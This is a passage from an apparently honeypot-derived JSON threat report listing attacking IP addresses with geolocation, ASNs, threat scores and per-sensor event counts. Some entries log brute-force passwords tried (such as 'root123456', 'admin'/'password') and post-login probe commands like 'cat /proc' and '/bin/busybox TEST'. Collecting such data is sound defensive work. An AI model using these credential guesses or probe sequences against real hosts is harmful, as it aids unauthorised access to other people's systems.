        "last_seen_30d": "2026-05-24T01:30:32.502000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11,
        "Ciscoasa": 2
      }
    },
    "85.121.123.38": {
      "attack_count": 19,
      "first_seen": "2026-05-07T06:20:51.933Z",
      "last_seen": "2026-05-07T06:22:18.053Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:20:51.933000+00:00",
        "last_seen_30d": "2026-05-07T06:23:26.475000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 11
      }
    },
    "5.255.121.133": {
      "attack_count": 18,
      "first_seen": "2026-05-08T15:15:05.994Z",
      "last_seen": "2026-05-14T17:57:13.462Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:15:05.994000+00:00",
        "last_seen_30d": "2026-05-14T17:58:23.717000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "45.194.92.29": {
      "attack_count": 15,
      "first_seen": "2026-05-27T22:31:28.703Z",
      "last_seen": "2026-05-27T22:31:34.408Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:31:28.703000+00:00",
        "last_seen_30d": "2026-05-28T08:28:08.810000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 6
      }
    },
    "123.168.176.154": {
      "attack_count": 10,
      "first_seen": "2026-05-19T06:51:20.659Z",
      "last_seen": "2026-05-19T07:36:41.218Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:51:20.659000+00:00",
        "last_seen_30d": "2026-05-19T07:37:50.755000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "136.144.35.7": {
      "attack_count": 10,
      "first_seen": "2026-05-03T07:06:23.428Z",
      "last_seen": "2026-05-03T07:08:32.191Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "s1mpl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Trenton",
      "asn": 396356,
      "as_org": "Latitude.sh",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T07:05:21+00:00",
        "last_seen_30d": "2026-05-03T07:11:40.339000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 10,
        "H0neytr4p": 5,
        "Dionaea": 3,
        "Honeytrap": 3
      }
    },
    "34.38.133.229": {
      "attack_count": 10,
      "first_seen": "2026-05-21T03:35:04.761Z",
      "last_seen": "2026-05-21T03:35:10.143Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:35:04.761000+00:00",
        "last_seen_30d": "2026-05-21T03:36:13.264000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "191.58.23.17": {
      "attack_count": 8,
      "first_seen": "2026-05-21T16:11:01.075Z",
      "last_seen": "2026-05-21T21:36:02.095Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:11:01.075000+00:00",
        "last_seen_30d": "2026-05-21T21:37:09.124000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "45.84.107.97": {
      "attack_count": 8,
      "first_seen": "2026-05-14T21:24:34.206Z",
      "last_seen": "2026-05-14T21:24:57.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T18:49:22+00:00",
        "last_seen_30d": "2026-05-14T21:25:58.841000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 154,
        "H0neytr4p": 23,
        "Cowrie": 6
      }
    },
    "172.203.245.49": {
      "attack_count": 7,
      "first_seen": "2026-05-17T01:33:51.975Z",
      "last_seen": "2026-05-17T01:34:02.112Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 14.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 17,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T15:29:43.312000+00:00",
        "last_seen_30d": "2026-05-21T00:08:16.742000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "45.142.154.111": {
      "attack_count": 6,
      "first_seen": "2026-05-10T03:53:40.227Z",
      "last_seen": "2026-05-10T03:53:55.475Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T18:04:28.641000+00:00",
        "last_seen_30d": "2026-05-29T00:57:07.651000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 60,
        "ConPot": 23,
        "Cowrie": 6
      }
    },
    "45.150.111.52": {
      "attack_count": 6,
      "first_seen": "2026-05-12T22:27:37.802Z",
      "last_seen": "2026-05-12T22:27:40.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:27:37.802000+00:00",
        "last_seen_30d": "2026-05-12T22:28:40.689000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.195.93": {
      "attack_count": 6,
      "first_seen": "2026-05-10T16:39:15.374Z",
      "last_seen": "2026-05-10T16:39:55.874Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T14:35:53+00:00",
        "last_seen_30d": "2026-05-31T12:35:23.943000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130,
        "Honeytrap": 57,
        "Tanner": 8,
        "Cowrie": 6,
        "ElasticPot": 4
      }
    },
    "121.29.4.251": {
      "attack_count": 5,
      "first_seen": "2026-05-04T13:32:40.346Z",
      "last_seen": "2026-05-04T13:32:43.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "oracle"
      ],
      "passwords_attempted": [
        "1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:32:40.346000+00:00",
        "last_seen_30d": "2026-05-04T13:33:50.985000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.197.137": {
      "attack_count": 5,
      "first_seen": "2026-05-03T08:56:36.806Z",
      "last_seen": "2026-05-07T02:51:22.609Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:54:32+00:00",
        "last_seen_30d": "2026-05-31T14:08:21.671000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 69,
        "Redishoneypot": 22,
        "Cowrie": 5,
        "Dionaea": 3,
        "ConPot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "104.152.52.222": {
      "attack_count": 4,
      "first_seen": "2026-05-21T05:32:46.393Z",
      "last_seen": "2026-05-28T15:14:23.924Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:32:46.393000+00:00",
        "last_seen_30d": "2026-05-28T15:15:27.099000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "117.63.67.71": {
      "attack_count": 4,
      "first_seen": "2026-05-22T11:47:00.783Z",
      "last_seen": "2026-05-22T20:39:56.567Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:47:00.783000+00:00",
        "last_seen_30d": "2026-05-22T20:40:59.199000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "154.124.28.156": {
      "attack_count": 4,
      "first_seen": "2026-05-21T20:24:38.036Z",
      "last_seen": "2026-05-21T20:26:40.548Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:24:38.036000+00:00",
        "last_seen_30d": "2026-05-21T20:37:25.786000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.123.219.34": {
      "attack_count": 4,
      "first_seen": "2026-05-07T19:06:43.001Z",
      "last_seen": "2026-05-07T19:06:44.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 21100,
      "as_org": "Green Floid LLC",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:57:59.417000+00:00",
        "last_seen_30d": "2026-05-29T00:30:00.665000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4
      }
    },
    "195.184.76.16": {
      "attack_count": 4,
      "first_seen": "2026-05-26T20:06:08.573Z",
      "last_seen": "2026-05-26T20:06:09.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 26,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T06:51:09.032000+00:00",
        "last_seen_30d": "2026-05-29T17:50:00.584000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 15,
        "Cowrie": 4
      }
    },
    "200.195.10.232": {
      "attack_count": 4,
      "first_seen": "2026-05-24T19:48:17.356Z",
      "last_seen": "2026-05-24T19:50:20.182Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:48:17.356000+00:00",
        "last_seen_30d": "2026-05-24T20:01:15.466000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "219.156.53.221": {
      "attack_count": 4,
      "first_seen": "2026-05-22T22:04:11.588Z",
      "last_seen": "2026-05-22T22:04:37.054Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:04:11.588000+00:00",
        "last_seen_30d": "2026-05-22T22:05:38.232000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "222.86.13.5": {
      "attack_count": 4,
      "first_seen": "2026-05-23T03:56:27.266Z",
      "last_seen": "2026-05-23T03:57:08.566Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:56:27.266000+00:00",
        "last_seen_30d": "2026-05-23T03:58:19.015000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "44.220.185.119": {
      "attack_count": 4,
      "first_seen": "2026-05-06T00:58:52.101Z",
      "last_seen": "2026-05-06T00:58:53.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T00:58:52.101000+00:00",
        "last_seen_30d": "2026-05-12T17:14:05.726000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "64.62.156.198": {
      "attack_count": 4,
      "first_seen": "2026-05-27T12:34:01.822Z",
      "last_seen": "2026-05-27T12:34:05.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:48:25.249000+00:00",
        "last_seen_30d": "2026-05-30T04:30:33.789000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "66.132.186.190": {
      "attack_count": 4,
      "first_seen": "2026-05-08T08:35:42.596Z",
      "last_seen": "2026-05-08T08:35:58.462Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T20:01:27+00:00",
        "last_seen_30d": "2026-05-31T19:46:10.958000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 49,
        "ElasticPot": 8,
        "Miniprint": 6,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "78.141.210.224": {
      "attack_count": 4,
      "first_seen": "2026-05-18T15:45:37.183Z",
      "last_seen": "2026-05-18T15:45:37.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-18T15:45:37+00:00",
        "last_seen_30d": "2026-05-18T15:46:46.999000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "91.230.168.204": {
      "attack_count": 4,
      "first_seen": "2026-05-13T00:59:21.358Z",
      "last_seen": "2026-05-13T00:59:21.564Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
